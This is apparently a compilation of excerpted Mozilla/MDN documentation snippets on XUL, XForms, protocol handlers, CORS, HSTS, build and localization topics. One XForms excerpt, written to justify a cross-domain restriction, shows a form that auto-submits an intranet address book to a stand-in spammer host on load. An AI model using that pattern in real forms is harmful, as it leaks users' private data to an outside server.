<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <triple subject="?uri" predicate="http://home.netscape.com/nc-rdf#friends" object="?friends"/> <memb...
...er container="?friends" child="?friend"/> <triple subject="?friend" predicate="http://home.netscape.com/nc-rdf#name" object="?name"/> </conditions> <bindings> <binding subject="?friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf#street" object="?street"/> </bindings> <action> <hbox uri="?friend"> <label value="?name"/> <label value="?street"/> </hbox> </action> </rule> </template> </vbox> </window> the xul template primer covers the <conditions> and <action> elements, ...
... <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description about="urn:root"> <nc:friends> <rdf:seq> <rdf:li> <rdf:description nc:name="alison appel"> <nc:address resource="#home"/> </rdf:description> </rdf:li> <rdf:li> <rdf:description nc:name="jack"> <nc:address resource="#doghouse"/> </rdf:description> </rdf:li> <rdf:li> <rdf:description nc:name="lumpy"/> ...
... <bindings> <binding subject="?friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf#street" object="?street"/> </bindings> the <binding> element is very much like the <triple> condition: it must have a subject, predicate, and object attribute.
window - Archive of obsolete content
attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!!
... --> <window id="rootwnd" title="register online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox> <hbox> <image src="application_form.png"/> <description>register online!</description> </hbox> <groupbox align="start"> <caption label="your information"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="your-lname" value="enter last name:"/> <textbox id="your-lname" value="hernandez"/> </hbox> <hbox> <button oncommand="alert('save!')"> <description>save</description> </butto...
... values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources...
... <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <!-- icon from chrome --> <html:link rel="icon" href="chrome://myextension/content/path/to/favicon.png"/> <!-- from a remote site --> <html:link rel="icon" href="http://www.mozilla.org/favicon.ico"/> since firefox 3.6 the above listed code does not work correctly - it produces the following m...
Opening a Link in the Default Browser - Archive of obsolete content
this will often be an http or https uri, but can use any scheme for which an external handler exists.
... this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it!
...to suppress this warning for particular protocols that are safe to open in the default application, you must set default prefs (thunderbird sets the following prefs): // suppress external-load warning for standard browser schemes pref("network.protocol-handler.warn-external.http", false); pref("network.protocol-handler.warn-external.https", false); pref("network.protocol-handler.warn-external.ftp", false); you can also check whether an external handler for a scheme exists.
... this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("http")) { // handler for http:// urls exists } link within an iframe to enable a link inside an html document that is the "src" of an iframe to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems to work.
Gecko Compatibility Handbook - Archive of obsolete content
change relative urls from http://directory/...
...or use absolute paths in urls such as http://example.com/directory/...
... older browsers supported the invalid use of http://path/ for urls relative to a web server's root directory but gecko browsers do not.
...gecko browsers require that the server specifies the correct mime type to match the content type: html - text/html css - text/css (related article) xml - text/xml svg - image/svg+xml faulty implementations of http several web servers incorrectly implement the http protocol which can result in problems for netscape 6.
Mozilla release FAQ - Archive of obsolete content
if you're proposing reworking something (like http, html, etc) you're expected to have a pretty good knowlege of it first.
... for example, if you were to make a proposal to compress whole webpages before sending them, devise a new protocol to do so, research how http works, how html works, and think about all the good *and* bad points of reworking things.
...for this particular example, you would want to go look at relevant topics stuart cheshire's discussion on latency versus bandwidth internet -- under the covers (by me) the rfc for http the w3's html 4.0 definition building mozilla i get x error when trying to build mozilla - what's wrong?
...mozilla has (at least) the following new features: xml support a highly configurable appearance (courtesy of xul) publicly available source code :) http compression exists on more platforms mathml support (somewhat limited at the moment) a significantly faster rendering engine better html support (css 1 and partial css 2, dom 1 and partial dom 2) plug-in jvm support tabbed browsing message filtering an irc client why is the animated icon different?
2006-10-13 - Archive of obsolete content
discussions everyone and his goldfish thinks bug 300198 should be fixed large response to the discussion about the bug: https://bugzilla.mozilla.org/show_bug.cgi?id=300198, regarding middle clicking on a tab.
... user questions about a open/saveas bug that already exisits: https://bugzilla.mozilla.org/show_bug.cgi?id=347230 installer for 2.0rc2 ehume gives the developers a thumbs up for the new installer for 2.0rc2 having a textfield where you can type in the installation directory.
... firefox browser problem: width:30ex does not respect font discussion about a font rendering problem with firefox print on the firefox context menu user would like discussion about why the bug https://bugzilla.mozilla.org/show_bug.cgi?id=204519 is a wontfix.
...this function was disabled, see bug: https://bugzilla.mozilla.org/show_bug.cgi?id=180048 meetings none this week.
NPN_PostURL - Archive of obsolete content
for http urls only, the browser resolves this method as the http server method post, which transmits data to the server.
... possible url types include http (similar to an html form submission), mail (sending mail), news (posting a news article), and ftp (upload a file).
... plug-ins can use this function to post form data to cgi scripts using http or upload files to a remote server using ftp.
...for protocols in which the headers must be distinguished from the body, such as http, the buffer or file should contain the headers, followed by a blank line, then the body.
Building a Theme - Archive of obsolete content
create the install manifest open the file called install.rdf that you created at the top of your extension's folder hierarchy and put this inside: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>sample@example.net</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- target application this theme can install into, with minimum and maximum supported versions.
...a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>29.0</em:minversion> <em:maxversion>39.*</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my theme</em:name> <em:internalname>sample</em:internalname> <em:description>a test extension</em:description> <em:creator>your name here</em:creator> <em:homepageurl>http://www.example.com/</em:homepageurl> </description> </rdf> sample@example.net - the id of the extension.
...compare (chrome) to (http) which tells firefox to treat the uri as a web page.
... visit https://addons.mozilla.org/developers/ to create an account and begin distributing your themes!
Common Firefox theme issues and solutions - Archive of obsolete content
please see the following threads on mozillazine for solutions to this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly.
...to fix this issue, you need to copy the files chrome://browser/skin/identity-icons-generic.png, chrome://browser/skin/identity-icons-https.png and chrome://browser/skin/identity-icons-https-ev.png to your browser folder.
...ied as necessary: /* page proxy icon */ #page-proxy-favicon { width: 16px; height: 16px; margin: 1px 3px; list-style-image: url(chrome://browser/skin/identity-icons-generic.png); -moz-image-region: rect(0, 16px, 16px, 0); } .verifieddomain > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image: url(chrome://browser/skin/identity-icons-https.png); } .verifiedidentity > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image: url(chrome://browser/skin/identity-icons-https-ev.png); } #identity-box:hover > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { -moz-image-region: rect(0, 32px, 16px, 16px); } #identity-box:hover:active > #identity-box-inner > #page-proxy-stack > #p...
...source file: chrome://global/skin/media/videocontrols.css the solution to this issue is to add the following name space to the second line of the file right after, and in addition to, the existing @namespace: @namespace html url("http://www.w3.org/1999/xhtml"); you can generate the error console message by going to mozilla's mission page.
Troubleshooting XForms Forms - Archive of obsolete content
check the xhtml 1.0 namespace declaration mozilla xforms is built upon the xhtml 1.0 specification, which is located at http://www.w3.org/1999/xhtml .
... ensure that your <html> element contains the supported namespace declaration: xmlns="http://www.w3.org/1999/xhtml" (instead of the newer, unratified version, xhtml 2.0, located at http://www.w3.org/2002/06/xhtml2 ) inline instance, no controls get bound have you remembered to use the correct namespace for the instance nodes?
...if you are developing on your local machine using apache tomcat for example then add the following regular expression on a new line: ^http://localhost:8080/.* use the xforms buddy to view instance data the xforms buddy extension allows you to dynamically view model instance data while the xforms is running in the firefox browser.
... the home page for xfroms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to view your http session data including http header data.
Mozilla XForms Specials - Archive of obsolete content
instead you will have to use the following normal classes instead: xf-value xf-repeat-item xf-repeat-index for example, to target the value element of an input control use: @namespace xf url("http://www.w3.org/2002/xforms"); xf|input .xf-value { ...
...labelposition for xforms:input elements bound to a boolean node we support an attribute labelposition in the namespace http://www.mozilla.org/projects/xfor...009/extensions, which allows the form author to define on which side of the checkbox the label will be shown.
...if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x.
... behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the xform.
Visual-js game engine - Game development
new link is : https://github.com/zlatnaspirala/visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not violate the basic rules.
...http://creativecommons.org/licenses/by-nc-sa/3.0/ download from : https://www.adobe.com/devnet/archive/html5/articles/javascript-motion-detection.html webrtc - webcam communication is under : creator muaz khan www.muazkhan.com mit license - www.webrtc-experiment.com/licence socket.io.js - http://socket.io/download/ ( also implemented intro build.js ) webgl2 based on : copyri...
...ght (c) 2014 tappali ekanathan keestu (keestu@gmail.com) gnu general public license obj loader : https://github.com/frenchtoast747/webgl-obj-loader textures download from http://textures.com more texture downloads http://www.textures4photoshop.com/ female body v3.blend this file has been released by andrescuccaro under the following license: creative commons attribution 3.0 about gui for windows (canvas2d part only) : windows gui application version 1.0 (using visual-js 0.9 lib) important : you will need net 4.5.2 minimum also redistribution pack for c++ how to start project ?
... online demo examples at : https://jsfiddle.net/user/zlatnaspirala/fiddles/ demo slot mashine basic demo at : https://jsfiddle.net/zlatnaspirala/7d0d8v6d/ help about new 2d part - implementation of matter.js based typescript .
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
cors (cross-origin resource sharing) is a system, consisting of transmitting http headers, that determines whether browsers block frontend javascript code from accessing responses for cross-origin requests.
... access-control-allow-headers used in response to a preflight request to indicate which http headers can be used when making the actual request.
... access-control-request-headers used when issuing a preflight request to let the server know which http headers will be used when the actual request is made.
... access-control-request-method used when issuing a preflight request to let the server know which http method will be used when the actual request is made.
HSTS - MDN Web Docs Glossary: Definitions of Web-related terms
http strict transport security lets a web site inform the browser that it should never load the site using http and should automatically convert all attempts to access the site using http to https requests instead.
... it consists in one http header, strict-transport-security, sent by the server with the resource.
... in other words, it tells the browser that changing the protocol from http to https in a url works (and is more secure) and asks the browser to do it for every request.
... learn more strict-transport-security owasp article: http strict transport security wikipedia: http strict transport security ...
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
should become: var href = getxmlbaselink (/* xlink sans xml:base */ xinclude.getattribute('href'), /* element to query from */ xinclude); function resolvexincludes(docu) { // http://www.w3.org/tr/xinclude/#xml-included-items var xincludes = docu.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'include'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.getattribute('href'); var parse = xinclude.getattribute('parse'); var xpointer = xinclude.geta...
...= xinclude.getattribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or matches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.getattribute('accept'); // header "accept: "+x var acceptlanguage = xinclude.getattribute('accept-language'); // "accept-language: "+x var xifallback = xinclude.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'fallback')[0]; // only one such child is allowed if (href === '' || href === null) { // points to same document if empty (null is equivalent to empty string) href = null; // set for uniformity in testing below if (parse === 'xml' && xpointer === null) { alert('there must be an xpointer attribute present ...
... var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request.setrequestheader('cache-control', 'no-cache'); if (accept) { request.setrequestheader('accept', accept); } if (acceptlanguag...
...]; } else { encodingtype = 'utf-8'; } // need to make a whole new request apparently since cannot convert the encoding after receiving it (to know what the encoding was) var request2 = new xmlhttprequest(); request2.overridemimetype('text/plain; charset='+encodingtype); request2.open('get', href, false); request2.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request2.setrequestheader('cache-control', 'no-cache'); ...
How do you upload your files to a web server? - Learn web development
open the filezilla application; you should see something like this: logging in for this example, we'll suppose that our hosting provider (the service that will host our http web server) is a fictitious company "example hosting provider" whose urls look like this: mypersonalwebsite.examplehostingprovider.net.
... let's first look at http://demozilla.examplehostingprovider.net/ — as you can see, so far there is nothing there: note: depending on your hosting provider, most of the time you'll see a page saying something like “this website is hosted by [hosting service].” when you first go to your web address.
...http://demozilla.examplehostingprovider.net/) in your browser: and voilà!
...an extension of the http protocol to allow more advanced file management.
HTML Cheatsheet - Learn web development
usage code snippet result a simple link <a href="https://realityripple.com/">a link to realityripple</a> a link to realityripple a simple image <img src="https://udn.realityripple.com/samples/6e/d6ed76c6c7.png" width="25" /> a generic inline container <p>p its used to <span style="color:blue">style and group</span> particular elements </p> p its used to style and group particular elements another i...
... embedded audio <audio controls="controls" src="https://udn.realityripple.com/samples/b7/193cb038d0.mp3">your browser does not support the html5 audio element.</audio> your browser does not support the html5 audio element.
... embedded audio with alternative sources <audio controls="controls"><source src="https://udn.realityripple.com/samples/b7/193cb038d0.mp3" type="audio/mpeg"><source src="https://udn.realityripple.com/samples/f7/14a4179ee6.ogg" type="audio/ogg"> your browser does not support audio.
... embedded video <video controls src="https://udn.realityripple.com/samples/1f/6cc66528b8.mp4">the <code>video</code> element is unsupported.</video> the video element is unsupported.
Tips for authoring fast-loading HTML pages - Learn web development
minimize the number of files reducing the number of files referenced in a web page lowers the number of http connections required to download a page, thereby reducing the time for these requests to be sent, and for their responses to be received.
... if you use background images a lot in your css, you can reduce the number of http lookups needed by combining the images into one, known as an image sprite.
...however, the fewer http requests and single image caching can help reduce page-load time.
... more information: http conditional get for rss hackers http 304: not modified http etag on wikipedia caching in http optimally order the components of the page download page content first, along with any css or javascript that may be required for its initial display, so that the user gets the quickest apparent response during the page loading.
Images in HTML - Learn web development
you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address from the dns server all over again, etc.
...you are provided with a basic <img> tag; we'd like you to embed the image located at the following url: https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg earlier we said to never hotlink to images on other servers, but this is just for learning purposes, so we'll let you off this one time.
...ea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value = 'show solution'; } updatecode(); }); var htmlsolution = '<img src="https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg"\n alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="a t-rex on display in the manchester university museum">'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out ...
... solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value = 'show solution'; } updatecode(); }); var htmlsolution = '<figure>\n <img src="https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg"\n alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171">\n <figcaption>a t-rex on display in the manchester university museum</figcaption>\n</figure>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); ...
Getting started with React - Learn web development
</p> <a classname="app-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" > learn react </a> </header> </div> ); } export default app; the app.js file consists of three main parts: some import statements at the top, the app component in the middle, and an export statement at the bottom.
... </p> <a classname="app-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" > learn react </a> </header> </div> ); } the app function returns a jsx expression.
...you'll notice that this change is immediately rendered in the development server running at http://localhost:3000 in your browser.
...// learn more about service workers: https://bit.ly/cra-pwa serviceworker.unregister(); as with app.js, the file starts by importing all the js modules and other assets it needs to run.
Working with Svelte stores - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/06-stores or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/06-stores remember to run npm install && npm run dev to start your app in development mode.
... repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and events.
...le = false, ms) // and hide it after ms milliseconds } } $: onmessagechange($alert, ms) // whenever the alert store or the ms props changes run onmessagechange ondestroy(()=> cleartimeout(timeout)) // make sure we clean-up the timeout </script> and update the alert.svelte markup section like so: {#if visible} <div on:click={() => visible = false}> <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 20 20"><path d="m12.432 0c1.34 0 2.01.912 2.01 1.957 0 1.305-1.164 2.512-2.679 2.512-1.269 0-2.009-.75-1.974-1.99c9.789 1.436 10.67 0 12.432 0zm8.309 20c-1.058 0-1.833-.652-1.093-3.524l1.214-5.092c.211-.814.246-1.141 0-1.141-.317 0-1.689.562-2.502 1.117l-.528-.88c2.572-2.186 5.531-3.467 6.801-3.467 1.057 0 1.233 1.273.705 3.23l-1.391 5.352c-.246.945-.141 1.271.
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2 summary in this article we added two new features: an alert component and persisting todos to web storage.
Understanding client-side JavaScript frameworks - Learn web development
for a running live version, see https://mdn.github.io/todo-react-build/.
...for a running live version, see https://nullvoxpopuli.github.io/ember-todomvc-tutorial/ (this also includes a few additional features not covered in the tutorial).
...for a running live version, see https://mdn.github.io/todo-vue/dist/.
...for a running live version, see our svelte repl at https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2.
Deploying our app - Learn web development
over at github, visit https://github.com/new and create your own repository to host this code.
...you'll need to run a command with the following structure (use the provided https option for now — especially if you are new to github — not the ssh option): git remote add github https://github.com/yourname/repo-name.git so if your remote url was https://github.com/remy/super-website.git, as in the screenshot above, your command would be git remote add github https://github.com/remy/super-website.git change the url to your own repository, and run it now.
...this is because we used the https option rather than the ssh option, as seen in the screenshot earlier.
... let's get this done: go to https://app.netlify.com/start.
Package management basics - Learn web development
in your terminal, run the following command: parcel index.html you should see something like this printed to your terminal: server running at http://localhost:1234 ✨ built in 193ms.
...for a start, there is now a local web server running at http://localhost:1234.
... in the index.js file, add the following code and save it: import { formatdistancetonow } from 'date-fns' const date = '1996-09-13 10:00:00'; document.body.textcontent = formatdistancetonow(new date(date)) + ' ago'; go back to http://localhost:1234 and you'll see how long ago it is since the author turned 18.
... now try running the following in your terminal, making sure you are inside the parcel-experiment directory: npm run dev this should start parcel and serve up your index.html at the local development server, as we saw before: server running at http://localhost:1234 ✨ built in 5.48s.
Android-specific test suites
see https://developer.android.com/training/testing/unit-testing/local-unit-tests.html for more details.
... see http://checkstyle.sourceforge.net/index.html and https://docs.gradle.org/2.14/userguide/checkstyle_plugin.html for more details.
... see http://findbugs.sourceforge.net/index.html and https://docs.gradle.org/2.14/userguide/findbugs_plugin.html for more details.
... see https://developer.android.com/studio/write/lint.html and http://tools.android.com/tips/lint for more details.
Old Thunderbird build
get the latest source code from mozilla's comm-central mercurial code repository: hg clone https://hg.mozilla.org/comm-central then, get all the repositories it depends on.
...for hg tip, you should see green bs on https://treeherder.mozilla.org/#/jobs?repo=comm-central to start the build, cd into the comm-central subdirectory, and run: ./mozilla/mach build mach is our command-line tool to streamline common developer tasks.
...the current status of the trunk can also be checked at https://treestatus.mozilla.org/ if the trunk is broken (i.e.
... on windows: check that the mapi header files from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files are not bundled with visual studio 2013/2015 (windows sdk 8.1/10).
Simple Thunderbird build
windows build prerequisites gnu/linux build prerequisites macos build prerequisites mapi headers on windows: check that the mapi header files from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files (except mapi.h) are not bundled with visual studio 2017 (windows sdk 10).
...it now needs to be placed inside the mozilla source code, in a directory named comm/ (this is inverse from thunderbird 59 and earlier): hg clone https://hg.mozilla.org/mozilla-central source/ cd source/ hg clone https://hg.mozilla.org/comm-central comm/ the source code requires 3.6gb of free space or more and additionally 5gb or more for default build.
...for hg tip, you should see green bs on https://treeherder.mozilla.org/#/jobs?repo=comm-central to start the build, cd into the source directory, and run: ./mach build mach is our command-line tool to streamline common developer tasks.
...the current status of the trunk can also be checked at https://treestatus.mozilla.org/ if the trunk is broken (i.e.
Listening to events on all tabs
this method will be called on security transitions (eg http -> https, https -> http, foo -> https) and after document load completion.
... note: astatus may be a success code even for server generated errors, such as the http 404 file not found error.
... in such cases, the request itself should be queried for extended error information (e.g., for http requests see nsihttpchannel).
... onrefreshattempted notification that a refresh or redirect has been requested in awebprogress for example, via a <meta http-equiv="refresh"> or an http refresh: header.
Limitations of chrome scripts
http requests you can't observe http requests in the content process.
...the subject for the observer notification will be an nsihttpchannel as you would expect.
... a common pattern here is to use the notificationcallbacks property of the nsihttpchannel to get the dom window that initiated the load, like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcallbacks.getinterface(ci.nsidomwindow); } } or this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcallbacks.getinterface(ci.nsiloadcontext).associatedwindow; } } in multiprocess firefox these patterns will no longer work: the getinterface call will fail.
...in an http observer, you can get the browser message manager for the window using code like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var loadcontext = httpchannel.notificationcallbacks.getinterface(ci.nsiloadcontext); // topframeelement is the <browser> element var topframeelement...
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
the html an <iframe> is turned into a browser iframe by setting the mozbrowser attribute on it: <iframe src="http://mozilla.org" mozbrowser> in addition, the <iframe> can be loaded in its own child process — separate to the page embedding this frame — by including the remote attribute.
... <iframe src="http://hostname.tld" mozbrowser remote> warning: this last attribute is necessary for security reasons if you plan to load content from an untrusted/unknown origin.
...when you tap the url bar, you can enter a url using the built-in firefox os keyboard (although note that we haven't implemented anything sophisticated in this app, like autofilling the http://, etc.).
...when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.backgroundcolor value reported is rgb(0, 83, 159).
Script security
for example, the objects associated with a document served from https://example.org/ can access each other, and they can also access objects served from https://example.org/foo.
...for example, code served from https://example.org/ trying to access objects from https://somewhere-else.org/ will have restricted access.
... expanded principal an expanded principal is specified as an array of origins: ["http://mozilla.org", "http://moz.org"] the expanded principal subsumes every content principal it contains.
... thus ["http://moz.org"] subsumes "http://moz.org" but not vice versa.
Localizing with Mercurial
here's how to get (or clone) your en-us source files for the first time: run the following command in the command line to get the source en-us files for firefox: hg clone https://hg.mozilla.org/mozilla-central/ this will create a clone of the mozilla-central repository in the directory mozilla-central.
... run the following commands in the command line to get the source en-us files for any combination of firefox, seamonkey, thunderbird: hg clone https://hg.mozilla.org/comm-central/ cd comm-central python client.py checkout the first command will create a clone of the comm-central repository.
...for example, to clone your firefox nightly l10n repo, run the following command, replacing ab-cd with your locale code: hg clone https://hg.mozilla.org/l10n-central/ab-cd/ updating your local repos to update your working copy of mozilla-central, go to your local mozilla-central directory and run: hg pull -u this will both get new changesets from mozilla-central and apply those changes in your working copy.
... to push to mozilla-hosted repositories, you have to have committer access, and you must edit the file (your-local-hg-root aka the directory you pulled your locale into)/.hg/hgrc (note, this is not your ~/.hgrc) to add these lines (replacing ab-cd with your locale code): [paths] default = https://hg.mozilla.org/l10n-central/ab-cd/ default-push = ssh://hg.mozilla.org/l10n-central/ab-cd/ you’ll also need to tell ssh which account to use for your pushes, too, by editing ~/.ssh/config and adding these lines, where user@host.domain is your account: host hg.mozilla.org user user@host.domain now you can push your work to the repository (and check the result on the dashboard) by en...
Localizing without a specialized tool
folder structure throughout this document, we will be using the following folder structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely or adjust all commands in the documentation as needed by your custom set-up.
...assuming that you have installed mercurial, issue the following command: $ hg clone http://hg.mozilla.org/releases/mozilla-1.9.2 this will pull the mozilla 1.9.2 sources from the remote repository and create a mercurial clone in mozilla-1.9.2 inside your working directory.
... $ hg clone http://bitbucket.org/mozillal10n/x-testing if there is an hg.mozilla.org repository with localization files, you can pull from it too: $ hg clone http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/x-testing eventually, you should end up with a folder hierarchy described above in the folder structure section.
... this string can easily be found in the browser ui by visiting a website that provides a search plugin (like http://developer.mozilla.org/) and clicking on the drop-down arrow in the search box in the upper-right corner of your browser.
TimerFirings logging
-991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created.
... 204 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [content] http://widgets.outbrain.com/outbrain.js:20:330 135 -495057024[7f74e105ba00]: [7108] fn timer (one_shot 4 ms): [content] https://self-repair.mozilla.org/repair/:7:13669 118 801266240[7f7c1f248000]: [7163] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 103 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [content] http://static.dyna...
...micyield.com/scripts/12086/dy-min.js?v=12086:3:3389 94 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [content] https://ad.doubleclick.net/ddm/adi/n7921.1283839cadreon.com.au/b9038144.122190976;sz=300x600;click=http://pixel.mathtag.com/click/img?mt_aid=2744535504761193354&mt_id=1895890&mt_adid=148611&mt_sid=973379&mt_exid=9&mt_inapp=0&mt_uuid=353d5460-19f6-4400-9bbd-d0fcc3bcf595&mt_3pck=http%3a//beacon-apac-hkg1.rubiconproject.com/beacon/t/d1f9921d-4e47-448f-b6ba-36cae1c31b65/&redirect=;ord=2744535504761193354?:83:0 94 801266240[7f7c1f248000]: [7163] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler 92 -495057024[7f74e105ba00]: [7108] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler the first column shows how many tim...
... 204 fn timer (one_shot): [content] http://widgets.outbrain.com/outbrain.js:20:330 186 fn timer (one_shot): nsbrowserstatusfilter::timeouthandler 138 fn timer (one_shot): [content] https://self-repair.mozilla.org/repair/:7:13669 118 fn timer (one_shot): [content] http://a.visualrevenue.com/vrs.js:6:9423 108 fn timer (slack): layeractivitytracker 104 fn timer (slack): nsidocument::selectorcache 104 ...
browser.urlbar.trimURLs
the preference browser.urlbar.trimurls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.
...if the address starts with http:// and neither starts with a ftp.
... subdomain nor contains @ (usually for ftp login information), the http:// prefix will be hidden.
... examples: https://www.example.org/ becomes https://www.example.org, http://www.example.org/foobar becomes www.example.org/foobar and http://ftp.example.org/foobar remains unchanged.
4.3 Release Notes
